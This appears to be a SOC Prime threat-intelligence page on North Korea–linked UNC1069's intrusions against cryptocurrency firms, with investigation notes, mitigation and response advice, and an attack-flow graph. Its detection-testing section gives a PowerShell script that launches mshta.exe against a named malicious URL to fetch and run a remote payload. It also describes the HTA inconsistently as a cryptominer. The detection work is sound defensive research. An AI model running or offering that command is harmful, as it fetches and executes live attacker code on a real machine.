SOC Prime Bias: Critical

11 Feb 2026 18:03
newspaper icon Google Cloud Blog

UNC1069 Targets Cryptocurrency Sector with New Tooling and AI-Enabled Social Engineering

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
UNC1069 Targets Cryptocurrency Sector with New Tooling and AI-Enabled Social Engineering
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

North Korea–linked UNC1069 targeted a crypto FinTech using a multi-stage intrusion that combined AI-generated deepfake video, compromised Telegram accounts, and a fake Zoom meeting to push victims into running malicious commands.

Investigation

Mandiant identified seven malware families on a macOS host, including newly observed SILENCELIFT, DEEPBREATH, and CHROMEPUSH, plus the known downloader SUGARLOADER. The chain started with a ClickFix-style command that fetched a payload from a malicious domain, then moved through loaders and backdoors that stole credentials, browser data, and messaging content. Later stages used modular, memory-resident execution to minimize on-disk traces.

Mitigation

Strengthen verification across social-engineering channels, restrict unsigned script execution, and monitor anomalous curl or mshta usage. On macOS, enforce code-signing and launch-daemon controls, and audit TCC permissions and native-messaging host directories for unknown files.

Response

Isolate the endpoint, preserve command-line artifacts, retrieve the malicious launch-daemon plist, and block all identified C2 domains. Reset keychain, browser, and Telegram credentials, and complete a sweep for residual loaders. Review affected accounts for unauthorized access and coordinate containment.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#99ff99 %% Nodes action_initial_access["<b>Action</b> – <b>T1204.001 User Execution</b>: Malicious link delivered via compromised Telegram account and spoofed Zoom meeting<br/><b>Description</b>: Victim copied and executed command strings"] class action_initial_access action tool_telegram["<b>Tool</b> – <b>Name</b>: Telegram (compromised)<br/><b>Role</b>: Delivery channel for malicious link"] class tool_telegram tool tool_zoom["<b>Tool</b> – <b>Name</b>: Zoom (spoofed meeting)<br/><b>Role</b>: Social engineering vector"] class tool_zoom tool action_execution_unix_shell["<b>Action</b> – <b>T1059.004 Unix Shell</b>: Execute curl command via zsh to download WAVESHAPER<br/><b>Description</b>: Downloads and runs backdoor"] class action_execution_unix_shell action tool_curl["<b>Tool</b> – <b>Name</b>: curl<br/><b>Purpose</b>: Retrieve remote payload"] class tool_curl tool malware_waveshaper["<b>Malware</b> – <b>Name</b>: WAVESHAPER<br/><b>Function</b>: Backdoor downloaded and executed"] class malware_waveshaper malware action_execution_mshta["<b>Action</b> – <b>T1218.005 Mshta Proxy Execution</b>: Use mshta to retrieve and run HYPERCALL downloader"] class action_execution_mshta action tool_mshta["<b>Tool</b> – <b>Name</b>: mshta<br/><b>Purpose</b>: Execute remote HTML application"] class tool_mshta tool malware_hypercall["<b>Malware</b> – <b>Name</b>: HYPERCALL<br/><b>Function</b>: Downloader executed via mshta"] class malware_hypercall malware process_launch_daemon["<b>Process</b> – <b>T1543.004 Launch Daemon</b>: com.apple.system.updater<br/><b>Purpose</b>: Runs SUGARLOADER at system startup"] class process_launch_daemon process malware_sugarloader["<b>Malware</b> – <b>Name</b>: SUGARLOADER<br/><b>Function</b>: Persistent component"] class malware_sugarloader malware action_defense_evasion["<b>Action</b> – <b>T1027.004 Compile After Delivery</b>: Encrypt configuration with RC4 to hide C2 URLs"] class action_defense_evasion action malware_deepbreath["<b>Malware</b> – <b>Name</b>: DEEPBREATH<br/><b>Capabilities</b>: Access Keychain and browser stores"] class malware_deepbreath malware action_cred_keychain["<b>Action</b> – <b>T1555.001 Keychain</b>: Extract credentials from macOS Keychain"] class action_cred_keychain action action_cred_browser["<b>Action</b> – <b>T1555.003 Web Browsers</b>: Extract cookies, logins, extensions from Chrome Brave Edge"] class action_cred_browser action malware_chromepush["<b>Malware</b> – <b>Name</b>: CHROMEPUSH<br/><b>Capability</b>: Browser extension keylogger"] class malware_chromepush malware action_keylogging["<b>Action</b> – <b>T1056.001 Keylogging</b>: Capture keystrokes via malicious extension"] class action_keylogging action action_local_staging["<b>Action</b> – <b>T1074.001 Local Data Staging</b>: Store collected data in temporary directories"] class action_local_staging action action_remote_staging["<b>Action</b> – <b>T1074.002 Remote Data Staging</b>: Upload staged data to C2 using curl"] class action_remote_staging action action_c2_http["<b>Action</b> – <b>T1102.003 Web Service Oneu2011Way</b>: Send exfiltrated data via HTTP POST"] class action_c2_http action action_exfiltration["<b>Action</b> – <b>T1020 Automated Exfiltration</b>: Automated upload of data to C2 servers"] class action_exfiltration action %% Connections action_initial_access –>|uses| tool_telegram tool_telegram –>|delivers link to| tool_zoom tool_zoom –>|leads to| action_execution_unix_shell action_execution_unix_shell –>|executes| tool_curl tool_curl –>|downloads| malware_waveshaper malware_waveshaper –>|triggers| action_defense_evasion action_initial_access –>|also triggers| action_execution_mshta action_execution_mshta –>|uses| tool_mshta tool_mshta –>|retrieves| malware_hypercall malware_hypercall –>|installs| process_launch_daemon process_launch_daemon –>|starts| malware_sugarloader malware_sugarloader –>|loads| malware_deepbreath malware_deepbreath –>|performs| action_cred_keychain malware_deepbreath –>|performs| action_cred_browser malware_deepbreath –>|installs| malware_chromepush malware_chromepush –>|executes| action_keylogging action_keylogging –>|stores data in| action_local_staging action_local_staging –>|uploads via curl to| action_remote_staging action_remote_staging –>|sends data to| action_c2_http action_c2_http –>|facilitates| action_exfiltration %% Class assignments class action_initial_access,action_execution_unix_shell,action_execution_mshta,action_defense_evasion,action_cred_keychain,action_cred_browser,action_keylogging,action_local_staging,action_remote_staging,action_c2_http,action_exfiltration action class tool_telegram,tool_zoom,tool_curl,tool_mshta tool class malware_waveshaper,malware_hypercall,malware_sugarloader,malware_deepbreath,malware_chromepush malware class process_launch_daemon process "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The adversary, having obtained initial foothold via a phishing email, leverages mshta to fetch a malicious HTML Application from https://mylingocoin.com/audio/fix/6454694440. This HTA file contains a PowerShell payload that installs a cryptomining miner. Prior to launching the HTA, the attacker runs setx audio_volume 100 to ensure the audio subsystem is in a known state (some variants of the ClickFix campaign manipulate audio settings to hide pop‑ups). Both commands are executed directly in a PowerShell console, producing CommandLine fields that exactly match the Sigma rule.

  • Regression Test Script:

    # UNC1069 ClickFix Attack Simulation – triggers Sigma rule
# Step 1: Persist a benign‑looking environment variable (matches detection)
setx audio_volume 100

# Step 2: Execute malicious HTA – exact URL used in rule detection
$maliciousUrl = "https://mylingocoin.com/audio/fix/6454694440"
Start-Process -FilePath "mshta.exe" -ArgumentList $maliciousUrl

# Optional: wait a few seconds for the HTA to launch
Start-Sleep -Seconds 5

  • Cleanup Commands:

    # Remove the environment variable set earlier
reg delete "HKCUEnvironment" /v "audio_volume" /f

# Terminate any lingering mshta processes spawned by the test
Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free